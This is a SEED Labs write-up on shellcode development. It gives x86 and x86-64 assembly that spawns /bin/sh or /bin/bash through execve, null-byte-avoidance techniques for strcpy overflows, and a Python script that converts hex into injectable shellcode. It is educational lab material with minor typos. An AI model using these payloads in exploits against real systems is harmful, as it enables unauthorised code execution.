Shellcode Development

This Writeup follows the SEED Lab (Lab) and references code supplied in the SEED setup files.

Task 1.a - Understand the process

In order to compile the provided assembly code sample into object C code, we utilise the x86 assembler NASM. The following command accomplishes this:

nasm -f elf32 mysh.s -o mysh.o

To generate the executable binary, we need to link the object C using the LD binary. This will produce a dynamically linked library executable. Execute the following command for this purpose:

ld -m elf_i386 mysh.o -o mysh

It is crucial to ensure that the resulting machine code does not contain any zeroes. Zeroes can cause issues with buffer overflow exploits caused by insecure usage of the strcpy() function. This is because strcpy() interprets a zero as the end of the string. To verify the assembly code, we can employ objdump with the following command:

objdump -Mintel --disassemble mysh.o

To obtain a hexadecimal output of the assembly code, which can be converted into shellcode, we utilise the xxd binary and search for the correct string. Execute the following command: hex dump machine code:

xxd -p -c 20 mysh.o

The provided Python code snippet converts the ori_sh variable into escaped shellcode suitable for injection into a vulnerable binary.

Python ShellCode Converter
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3

# Run "xxd -p -c 20 rev_sh.o",
# copy and paste the machine code to the following:
ori_sh ="""
31c050bb23232368
c1eb1853682f626173682f62696e89e3505389e1
31d231c0b00bcd80
"""

sh = ori_sh.replace("\n", "")

length  = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + '   "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15: 
       s += '"\n' + '   "'
s += '"\n' + ").encode('latin-1')"
print(s)

Additional tips:

  • Use echo $0 to obtain the current shell binary.
  • Use echo $$ to print the PID (Process ID) of the shell.

1.b - Modifying to Execute /bin/bash

To modify the mysh.s code and execute /bin/bash without producing any zeroes in the final shellcode, we need to adjust the push commands to handle the 9-character string properly. We can use a combination of bit shifting and blanking characters to achieve this.

The original mysh.s
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
section .text
  global _start
    _start:
      ; Store the argument string on stack
      xor  eax, eax 
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the string address

      ; Construct the argument array argv[]
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]
   
      ; For environment variable 
      xor  edx, edx     ; No env variables 

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80

In order to modify the push commands and push “/bin/bash” to the stack, we encounter a complication related to the structure of the push commands. These commands operate in groups of 4 bytes, where each character corresponds to a single byte. Since the string we need to push is 9 characters long, a straightforward approach would result in an unintended outcome:

push "h"
push "/bas"
push "/bin"

The command “push “h” would actually push h000 to the stack, introducing three additional zeros in the final shellcode.

To address this issue, we can employ a workaround that involves writing our string to a registry with blanking characters. By subsequently bitshifting the blanking characters out of the string, any gaps will be filled with zeros in memory without appearing in our shellcode payload.

The comments in the following code snippet demonstrate the value of ebx, which you may observe using a decompiler and running step by step, for example with ghidra:

mov ebx, "h###"   ; ebx=0x23232368
shl ebx, 24       ; ebx=0x68000000
shr ebx, 24       ; 0x68
push ebx
push "/bas"
push "/bin"

By employing this approach, we can effectively modify the push commands to push “/bin/bash” to the stack while avoiding unintended zeros in the resulting shellcode.

After tracing the code using Ghidra, it became clear how to achieve the same result by removing a command. The modified code snippet is as follows:

mov ebx, "###h"   ; ebx=0x68232323
shr ebx, 24       ; 0x68
push ebx
push "/bas"
push "/bin"

By incorporating these changes (lines 5 to 7) int the original mysh.h, we can create the mysh1b.h.

mysh1b.h
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
section .text
 global _start
    _start:
      xor  eax, eax     ; Sets eax to zero
      push eax          ; Use 0 to terminate the string
      mov ebx, "###h"
      shr ebx,24
      push ebx
      push "/bas"
      push "/bin"
      mov  ebx, esp     ; Get the string address

      ; Construct the argument array argv[]
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]

      ; For environment variable 
      xor  edx, edx     ; No env variables 

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80          ; call execve()

In order to compile and link the library, the following commands can be used:

nasm -f elf32 mysh1b.s -o mysh1b.o
ld -m elf_i386 mysh1b.o -o mysh1b

After executing the compiled binary and obtaining a new shell, you can verify that you are indeed in a Bash shell by running the command echo $0. This command will display the name of the current shell.

Task 1.c Modifying the Code to Execute ’ls -la’ Using sh

In this task, we will modify the code to utilize execve with the sh command to execute ls -la. The command /bin/sh -c ls -la will be called. It is worth noting that redundant slashes are permitted.

First, we construct each part of the argv array and store them as pointers. Before calling execve, we push the pointer to each part onto the stack, terminating with a 0. It is essential that ebx holds a pointer to our command string when ebc is invoked.

mysh1c.h
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
section .text
  global _start
    _start:
      ; Setup zero - eax
      xor  eax, eax

      ; Construct argv[2] - edx
      push eax          ; Use 0 to terminate the string
      mov edx, "##la"
      shr edx, 16
      push edx
      push "ls -"
      mov edx, esp

      ; Construct argv[1] - ecx
      push eax          ; Use 0 to terminate the string
      mov ecx, "##-c"
      shr ecx, 16
      push ecx
      mov ecx, esp

      ; construct argv[0] - ebx
      push eax          ; Use 0 to terminate the string
      mov ebx, "#/sh"
      shr ebx, 8
      push ebx
      push "/bin"
      mov  ebx, esp     ; Get the string address

      ; Construct the argument array argv[]
      push eax          ; argv[3] points to 0
      push edx          ; argv[2] points to "ls -la"
      push ecx          ; argv[1] points to "-c"
      push ebx          ; argv[0] points "/bin/sh"
      mov  ecx, esp     ; Get the address of argv[]

      ; For environment variable
      xor  edx, edx     ; No env variables

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80

By following the above modifications, the code will execute the command ls -la using the sh shell. The execve system call is utilised to achieve this functionality.

Task 1.d - call /usr/bin/eb with env variables to print

  • The task example file is named myenv.s
  • The command to execute is /usr /bin /env
  • We must construct an environment array on the stack with the following elements::
    • env[3] = 0
    • env[2] = "cccc=1234"
    • env[1] = "bbb=5678"
    • env[0] = "aaa=1234"
  • The pointer to the environment array is stored in the edx register. To accomplish this task, we will follow a similar approach as the previous one, but this time we will also construct the environment array. This will provide us with additional registers that we can utilize for this purpose.
myenv.h
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
section .text
  global _start
    _start:
	; Setup zero - eax
	xor  eax, eax

	; construct env[2] - ebx
	push eax
	mov ebx, "###4"
	shr ebx, 24
	push ebx
	push "=123"
	push "cccc"
	mov ebx, esp

	; construct env[1] - ecx
	push eax
	push "5678"
	push "bbb="
	mov ecx, esp

	; construct env[0] - edx
	push eax
	push "1234"
	push "aaa="
	mov edx, esp

	; Construct the environment array envv[]
	push eax	; env[3] = 0
	push ebx	; env[2] points to "cccc=1234"
	push ecx	; env[1] points to "bbb=5678"
	push edx	; env[0] points to "aaa=1234"
	mov edx, esp

	; construct argv[0] - ebx
	push eax          ; Use 0 to terminate the string
	push "/env"
	push "/bin"
	push "/usr"
	mov  ebx, esp     ; Get the string address

	; Construct the argument array argv[]
	push eax          ; argv[1] = 0
	push ebx          ; argv[0] points "/bin/sh"
	mov  ecx, esp     ; Get the address of argv[]

	; Invoke execve()
	xor  eax, eax     ; eax = 0x00000000
	mov   al, 0x0b    ; eax = 0x0000000b
	int 0x80

Task 2 - Reviewing the Code: Direct Code Segment Manipulation

In this task, we will carefully examine the provided code line by line, which utilizes direct code segment manipulation. Our first step is to link the library using the ld –omagic command. This command is necessary to enable the code segment to be writable.

nasm -f elf32 mysh2.s -o mysh2.o  
ld --omagic -m elf_i386 mysh2.o -o mysh2
./mysh2

Let’s review the code line by line

  • _start: - label _start
  • BITS 32 - working in 32 bit land
  • jmp short two - same module (short) jump to label two
  • one: - label one
  • pop ebx - get top value from the stack which points to /bin/sh*AAAABBBB and write to ebx
  • xor eax, eax - writes 0 to eax equiv
  • mov [ebx+7], al - writes lower 8 bits of eax to the memory pointed to at ebx 7 bytes forward. ebx now points to null terminated string /bin/sh constructing argv[0] and overwriting the *
  • mov [ebx+8], ebx - writes ebx to the memory pointed to by ebx then 8 bytes forward constructing argv[1] and overwriting the AAAA
  • mov [ebx+12], eax - writes 0s to the address pointed to by ebx 12 bytes forward, constructing argv[2] and overwriting the BBBB
  • lea ecx, [ebx+8] - write the memory pointed to by ebx, 8 bytes forward, as a pointer to ecx
  • xor edx, edx - zeroes off edx - i.e. no env vars
  • mov al, 0x0b - next two lines invoke exceve
  • int 0x80
  • two: - this is only called to get the function address on the stack, so we may use it as reference to the string below, which is directly assigned and never needs to be actually called - it lives in memory simply due to its inclusion on the assembly.
  • call one
  • db '/bin/sh*AAAABBBB'

Task 2b - call /usr/bin/en using code segment manipulation

In this task, we will modify Task 2 to call /usr/bin/env with a=11 and b=22 loaded using similar memory manipulation techniques. First, let’s reconstruct the argv before addressing the env array.

mysh2b.h with reconstructed argv to /usr/bin/env
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
section .text
  global _start
    _start:
	BITS 32
	jmp short two
    one:
 	pop ebx
 	xor eax, eax
 	mov [ebx+12], eax	; nul terminate cmd
 	mov [ebx+16], ebx	; construct argv[0] points to cmd
 	mov [ebx+20], eax	; construct argv[1]=0
 	lea ecx, [ebx+16]	; get pointer to argv on ecx
 	xor edx, edx		; blank off edx args
 	mov al, 0x0b		
 	int 0x80
     two:
 	call one
	;   0   4   8   12  16  20
        db "/usr/bin/env****AAAA****"

To simplify the process, we will add the environment variables using a new function call:

mysh2b.h with reconstructed argv to /usr/bin/env and environment variables
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 _start
    _start:
	BITS 32
	jmp short two
    one:
 	pop ebx
 	xor eax, eax
 	mov [ebx+12], eax	; nul terminate cmd
 	mov [ebx+16], ebx	; construct argv[0] points to cmd
 	mov [ebx+20], eax	; construct argv[1]=0
	jmp short three
    four:
	pop ecx
	mov [ecx+4], eax	; zero terminate a=11
	mov [ecx+12], eax	; zero terminate b=22
	mov [ecx+16], ecx	; constuct env[0] points to a=11
	lea edx, [ecx+8]	; construct env[1] points to b=22
	mov [ecx+20], edx
	mov [ecx+24], eax	; construct env[2]=0
	lea edx, [ecx+16]
	lea ecx, [ebx+16]	; get pointer to argv on ecx
	mov al, 0x0b		
	int 0x80
     two:
 	call one
	;   0   4   8   12  16  20
        db "/usr/bin/env****AAAA****"
     three:
	call four
	;   0   4   8   12  16  20  24
	db "a=11****b=22****AAAABBBB****"

In the updated code, we introduce a new label three and call the function four from it. The four function manipulates memory to add the environment variables a=11 and b=22. We zero-terminate both variables and set up the env array accordingly. Finally, we load the necessary pointers and invoke the system call to execute /usr/bin/env with the modified arguments and environment.

The modified code provides a solution to Task 2b, effectively calling /usr/bin/env with a=11 and b=22 loaded through memory manipulation techniques.

Task 3 - Executing /bin/bash in 64-bit Assembly

To compile the code for 64-bit commands, use the following commands:

nasm -f elf64 mysh_64b.s -o mysh_64b.o
ld mysh_64b.o -o mysh_64b

Examining the code, we can see for our purposes this si extremely similar to make the modifcations for as it was for task 1b. We just need to modify line 7 to point to the new binary and perform adjustments to ensure we don’t introduce any 0’s in the final shellcode with the new 9 byte string, keeping in mind 84 bit works in 8 byte segments.

original mysh_64.s
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
section .text
  global _start
    _start:
      ; The following code calls execve("/bin/sh", ...)
      xor  rdx, rdx       ; 3rd argument
      push rdx
      mov rax,'/bin//sh'
      push rax
      mov rdi, rsp        ; 1st argument
      push rdx 
      push rdi
      mov rsi, rsp        ; 2nd argument
      xor  rax, rax
      mov al, 0x3b        ; execve()
      syscall

Now, let’s modify the example according to Task 1b. Our objective is to execute /bin/bash without using any additional forward slashes (”/") and without generating any zeros in the final shellcode.

mysh_643.s
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
section .text
  global _start
    _start:
      ; The following code calls execve("/bin/bash", ...)
	; rdx = arg3 = 0
	; rsi = arg2 points to rdi
	; rdi = points to /bin/sh
	; construct cmd pointer
      	xor  rdx, rdx       	; 3rd arg = 0
	mov rax, '#######h'	
	shr rax, 56
	push rax		; stack -> 'h',0
	mov rax, '/bin/bas'
      	push rax		; stack -> '/bin/bas','h',0
      	mov rdi, rsp        	; rdi points to /bin/sh
	; construct argv
      	push rdx		; stack -> 0,'/bin/bash','h',0
      	push rdi		; stack -> cmdpoint,0,'/bin/bas','h',0
      	mov rsi, rsp        	; points to argv
	; env vars
      	xor  rax, rax		; no env variables
	; invoke syscall
      	mov al, 0x3b        	; execve()
      	syscall

In the modified code, we have achieved the objective of executing /bin/bash without using additional forward slashes and avoiding the generation of any zeros in the final shellcode.

Previous